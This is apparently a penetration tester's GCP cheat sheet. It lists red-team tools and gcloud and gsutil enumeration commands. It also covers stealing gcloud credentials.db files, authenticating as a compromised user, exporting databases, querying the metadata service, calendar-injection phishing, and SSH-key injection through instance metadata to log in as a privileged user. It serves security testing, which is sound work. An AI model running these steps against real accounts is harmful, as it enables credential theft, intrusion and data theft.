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cloud-GCP.md

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Tools

Hayat https://github.com/DenizParlak/hayat

GCPBucketBrute https://github.com/RhinoSecurityLabs/GCPBucketBrute

GCP IAM https://github.com/marcin-kolda/gcp-iam-collector

GCP Firewall Enum: https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum

Auth methods: • Web Access • API – OAuth 2.0 protocol • Access tokens – short lived access tokens for service accounts • JSON Key Files – Long-lived key-pairs • Credentials can be federated

Recon: • G-Suite Usage ◇ Try authenticating with a valid company email address at Gmail

Google Storage Buckets: • Google Cloud Platform also has a storage service called “Buckets” • Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum ◇ Awesome tool for scanning all three cloud services for buckets and more ▪ Enumerates: - GCP open and protected buckets as well as Google App Engine sites - Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps - AWS open and protected buckets

Phising G-Suite: • Calendar Event Injection • Silently injects events to target calendars • No email required • Google API allows to mark as accepted • Bypasses the “don’t auto-add” setting • Creates urgency w/ reminder notification • Include link to phishing page

Steal Access Tokens: • Google JSON Tokens and credentials.db • JSON tokens typically used for service account access to GCP • If a user authenticates with gcloud from an instance their creds get stored here: ~/.config/gcloud/credentials.db sudo find /home -name "credentials.db" • JSON can be used to authenticate with gcloud and ScoutSuite

Post-compromise • Cloud Storage, Compute, SQL, Resource manager, IAM • ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite • Tool for auditing multiple different cloud security providers • Create Google JSON token to auth as service account

ENUM

Authentication with gcloud and retrieve info

gcloud auth login gcloud auth activate-service-account --key-file creds.json gcloud auth activate-service-account --project= --key-file=filename.json gcloud auth list gcloud init gcloud config configurations activate stolenkeys gcloud config list gcloud organizations list gcloud organizations get-iam-policy gcloud projects get-iam-policy gcloud iam roles list --project= gcloud beta asset search-all-iam-policies --query policy:"projects/xxxxxxxx/roles/CustomRole436" --project=xxxxxxxx gcloud projects list gcloud config set project gcloud services list gcloud projects list gcloud config set project [Project-Id] gcloud source repos list gcloud source repos clone <repo_name>

Virtual Machines

gcloud compute instances list gcloud compute instances list --impersonate-service-account AccountName gcloud compute instances list --configuration=stolenkeys gcloud compute instances describe gcloud compute instances describe --zone=ZoneName --format=json | jq -c '.serviceAccounts[].scopes[]' gcloud beta compute ssh --zone "" "" --project ""

Puts public ssh key onto metadata service for project

gcloud compute ssh curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google’

Use Google keyring to decrypt encrypted data

gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key --keyring --location global

Storage Buckets

List Google Storage buckets gsutil ls gsutil ls -r gs:// gsutil cat gs://bucket-name/anyobject gsutil cp gs://bucketid/item ~/

Webapps & SQL

gcloud app instances list gcloud sql instances list gcloud spanner instances list gcloud bigtable instances list gcloud sql databases list --instance gcloud spanner databases list --instance

Export SQL databases and buckets

First copy buckets to local directory

gsutil cp gs://bucket-name/folder/ .

Create a new storage bucket, change perms, export SQL DB

gsutil mb gs:// gsutil acl ch -u gs:// gcloud sql export sql gs:///sqldump.gz --database=

Networking

gcloud compute networks list gcloud compute networks subnets list gcloud compute vpn-tunnels list gcloud compute interconnects list gcloud compute firewall-rules list gcloud compute firewall-rules describe

Containers

gcloud container clusters list

GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with

gcloud container clusters get-credentials --region kubectl cluster-info

Serverless (Lambda functions)

gcloud functions list gcloud functions describe gcloud functions logs read --limit

Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories

sudo find /home -name "credentials.db

Copy gcloud dir to your own home directory to auth as the compromised user

sudo cp -r /home/username/.config/gcloud ~/.config sudo chown -R currentuser:currentuser ~/.config/gcloud gcloud auth list

Databases

gcloud sql databases list gcloud sql backups list --instance=test

Metadata Service URL

metadata.google.internal = 169.254.169.254

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

Interesting metadata instance urls:

http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/hostname http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id

Get access scope

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

Get snapshot from instance and create instance from it

gcloud compute snapshots list gcloud compute instances create instance-2 --source-snapshot=snapshot-1 --zone=us-central1-a

ATTACKS

Check ssh keys attached to instance

gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metadata.items[].value'

Check for "privilegeduser:ssh-rsa" and generate ssh keys with same username and paste in file

ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser

Something like:

privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGrK8V2k0xBeSzN+oUgnRLSIgUED7ayeUJJ10ryEFR0xJbFeGsRAL5LUzw1DTT9gRKmcMTjmZNU3E99bwyytV0fLnGVRIZ63oC8IdTESR0g8EnU6yam/ntq6gZF5QRcES3gaZlnssOQQhw0rvcCB7o5oM1zCDQtgJXAu/2UI6yKf3xdlcHdrULbKTR+0c7r2FWMLgdghGsA+yH3leHJWjDE/WJ1mqf+ZE+RvwLZ8TmVFJmI37xoKEeVnkmOrOe/TMYvtuzSQduHEUhhfjB8YPUYH7dGHyVPlRp/0Hsrjauf5//zNN9dyAZisElgF7CnJmtJVizfDxlXd/nwrVC8nf2xzbi8nc24STfTg3+lR1f73Z5xN9waPl3eHMNy7nXvShxSO01ZwwuyTmjNh83ik1PJjNU= privilegeduser privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnLriKvJcwZ2eRUbYpy7ZiZrZub+ZblHgKhATPnRjEXK7Q5U3vOFutCeMavxQ82yIwne6b6LzDAfKeS6wlez1ll2npGhKpb8mAM+ZIKxdTAoAhenOlLlmMyYHhJs/UjkTtj7TZDIEa/uZjZgClK5fmgkYjprsRbPOtAru8fBAOAWfMtrXYFmUJy94iMIvYpRuUPTZ0XUkzmyETNspZOwoOd+K2yTmFor4mWIgTzbaeAtJA+b+nQmXM1Ya1RfalpQsomXnkhqihh/wmqJMDGIJT1YgepMxbj4wy5WyUlE4Ub+/Wh7Lyu51jaRJ++FYh/pgb3m3d8t7B6b2Jj7ldxicQSPu6Mc9TZ5QrPx91dOe/Mzmte2kW7AF8xXo+Se71Ffc5csupUo62uyeXt12F+qNiqHeJXSomxck7rRwonnUhyNJ2icCPogsbDNDjHvdXmGsrXNFU= privilegeduser

Upload the file with the 2 keys and access to the instance

gcloud compute instances add-metadata instance-1 --metadata-from-file ssh-keys=keys.txt --zone us-central1-a ssh -i underprivuser privilegeduser@xx.xx.xx.xx

Re-authentication the account keys

Find keys in instance

cd /home//.config/gcloud cat credentials.db

Copy the credentials, make a new json file inside your computer and paste it.

gcloud auth activate-service-account --key-file .json

Now can access API